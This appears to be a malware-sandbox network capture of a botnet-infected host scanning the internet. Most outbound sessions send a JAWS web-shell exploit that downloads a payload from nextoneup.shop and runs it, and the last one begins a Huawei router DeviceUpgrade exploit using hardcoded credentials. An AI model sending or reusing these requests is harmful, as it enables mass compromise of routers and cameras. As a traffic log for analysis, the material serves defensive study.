Apr 14, 2024 04:01:46.902714968 CEST	237	IN	Data Raw: 66 58 45 5a 75 32 61 32 61 64 38 48 37 6c 2f 61 44 31 76 4a 46 4f 4d 66 4d 2b 5a 48 79 5a 77 35 69 38 38 4c 54 33 69 32 42 51 74 2b 4a 56 75 33 62 6e 57 6e 48 6e 73 52 30 38 6b 55 54 4e 2b 30 52 4e 35 67 54 73 70 48 37 31 54 6e 54 55 32 59 56 6d Data Ascii: fXEZu2a2ad8H7l/aD1vJFOMfM+ZHyZw5i88LT3i2BQt+JVu3bnWnHnsR08kUTN+0RN5gTspH71TnTU2YVmVMR7kfiodIiNZr7mh5rbIJ6Xx8I0sJqmJKydI1SM57+Rqhv8C2r/WHd0qi74tKnFLxJU7p+JK7S0Ul0oiC7WYT187Ts2TjVPZNZ665x5QSv8VXcvCcf+9V8ganrl2Urwc0kjhlEuqi2Oetv
Apr 14, 2024 04:01:46.902733088 CEST	1289	IN	Data Raw: 35 4f 46 32 31 64 48 61 4d 75 64 4e 37 43 56 54 4b 39 64 75 79 5a 74 32 37 59 7a 58 6d 6c 61 6e 2b 5a 4c 49 57 49 57 72 39 67 52 45 4e 75 39 55 68 41 62 79 48 54 2f 75 57 4f 53 38 34 65 61 47 6e 5a 44 55 4a 37 4b 47 52 35 78 64 64 51 41 53 64 44 Data Ascii: 5OF21dHaMudN7CVTK9duyZt27YzXmlan+ZLIWIWr9gRENu9UhAbyHT/uWOS84eaGnZDUJ7KGR5xddQASdDq61CvlmDrVJ4+JsQ3xOBLXgjk/3bdrLLWkFZ0xZL9myV1228lV+cKsu3oXvenEcOt+3ek5LCWEtcMQL6G+OiMbVDjNi5wpx79sP3UQcnYsYwS6ap9m+WJGZj8DVvJdPfu3VKpUmUN8X2ZL+V5tkPNmTPXnXLsRmwg
Apr 14, 2024 04:01:46.902749062 CEST	1289	IN	Data Raw: 4a 4f 5a 55 36 47 39 34 34 59 4e 46 77 31 75 6e 71 76 56 68 59 5a 75 33 4b 32 53 54 48 32 68 36 75 33 48 39 79 52 76 31 56 78 48 64 37 69 39 51 41 45 6d 52 6f 37 36 7a 78 39 53 4b 77 37 74 63 30 75 32 45 61 6d 57 37 64 75 31 31 63 2f 66 5a 6b 76 Data Ascii: JOZU6G944YNFw1unqvVhYZu3K2STH2h6u3H9yRv1VxHd7i9QAEmRo76zx9SKw7tc0u2EamW7du11c/fZkvtfaX1q1bX65evepO2TscPHhQj+wjTa43iWzBu2b+t1KlKpF6bUlUkim0NHfXGonXMJ+Wx1cyrTmu63NkOmPrMnmbhRSTvqdnXyTol2dTtCgms7cufynm/hZsXyV/qsbZpd7pzDVfmsZ4t9llyPKoO7cgusM2Mt22b

Session ID	Source IP	Source Port	Destination IP	Destination Port
1755	192.168.2.23	45138	172.91.178.135	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.577972889 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.762290955 CEST	376	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 18:02:18 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Apr 14, 2024 04:01:49.762667894 CEST	376	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 18:02:18 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Apr 14, 2024 04:01:55.782752037 CEST	376	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 18:02:18 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1756	192.168.2.23	39752	18.64.236.207	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.678893089 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.894664049 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:46 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1757	192.168.2.23	46916	162.241.53.50	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.680031061 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.897248030 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:38 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC
Apr 14, 2024 04:01:46.897264957 CEST	1289	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 Data Ascii: ; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000;
Apr 14, 2024 04:01:46.897330046 CEST	1289	IN	Data Raw: 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 Data Ascii: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .inf
Apr 14, 2024 04:01:46.897349119 CEST	1289	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 Data Ascii: nt-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: l
Apr 14, 2024 04:01:46.897366047 CEST	1289	IN	Data Raw: 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b 44 64 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f Data Ascii: j+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/V
Apr 14, 2024 04:01:46.897382975 CEST	1289	IN	Data Raw: 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a Data Ascii: whvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxu
Apr 14, 2024 04:01:46.897402048 CEST	1184	IN	Data Raw: 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 Data Ascii: ReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU
Apr 14, 2024 04:01:46.897419930 CEST	1289	IN	Data Raw: 33 37 0d 0a 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37404</span> <span class="status-reason">88Not Found</span> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:32ro
Apr 14, 2024 04:01:46.897437096 CEST	527	IN	Data Raw: 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 Data Ascii: </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" title="cPan

Session ID	Source IP	Source Port	Destination IP	Destination Port
1758	192.168.2.23	60098	34.238.44.45	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.693239927 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1759	192.168.2.23	49650	54.168.223.83	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.820672035 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.100131035 CEST	375	IN	HTTP/1.1 401 Unauthorized Server: nginx Date: Sun, 14 Apr 2024 02:01:46 GMT Content-Type: text/html Content-Length: 172 Connection: keep-alive WWW-Authenticate: Basic realm="secret" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>401 Authorization Required</title></head><body><center><h1>401 Authorization Required</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1760	192.168.2.23	42232	104.104.149.231	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.876007080 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.205956936 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:47 GMT Date: Sun, 14 Apr 2024 02:01:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 33 63 39 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 37 26 23 34 36 3b 36 33 36 32 66 63 66 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 33 63 39 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 37 26 23 34 36 3b 36 33 36 32 66 63 66 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.13c91002.1713060107.6362fcf<P>https://errors.edgesuite.net/9.13c91002.1713060107.6362fcf</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1761	192.168.2.23	35926	186.236.100.39	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.887465000 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.234880924 CEST	316	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Apr 14, 2024 04:01:47.234967947 CEST	1289	IN	Data Raw: 63 31 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: c1e<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8
Apr 14, 2024 04:01:47.234986067 CEST	1289	IN	Data Raw: 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 66 61 6c 73 65 20 3d 3d 20 49 73 49 50 76 36 41 64 64 72 65 73 73 55 73 68 6f 72 74 56 61 6c 69 64 28 4c 69 73 74 5b 69 5d 29 29 0a 20 Data Ascii: List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6AddressValid(Address){ if (Address == "::") {
Apr 14, 2024 04:01:47.235001087 CEST	572	IN	Data Raw: 0a 7b 0a 76 61 72 20 6e 65 77 69 70 76 36 61 64 64 72 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 75 62 73 74 72 28 30 2c 6c 61 73 74 69 6e 64 65 78 29 3b 0a 76 61 72 20 6e 65 77 69 70 76 36 70 6f 72 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 75 62 73 Data Ascii: {var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan == 0){window.location="https://[" + newipv6addr + "]:" + SSLPort;}else{window.location="https://[" + newipv6addr + "]:" + n

Session ID	Source IP	Source Port	Destination IP	Destination Port
1762	192.168.2.23	58814	31.133.127.37	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.957313061 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:48.120712996 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1763	192.168.2.23	52342	156.241.84.225	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.249279976 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 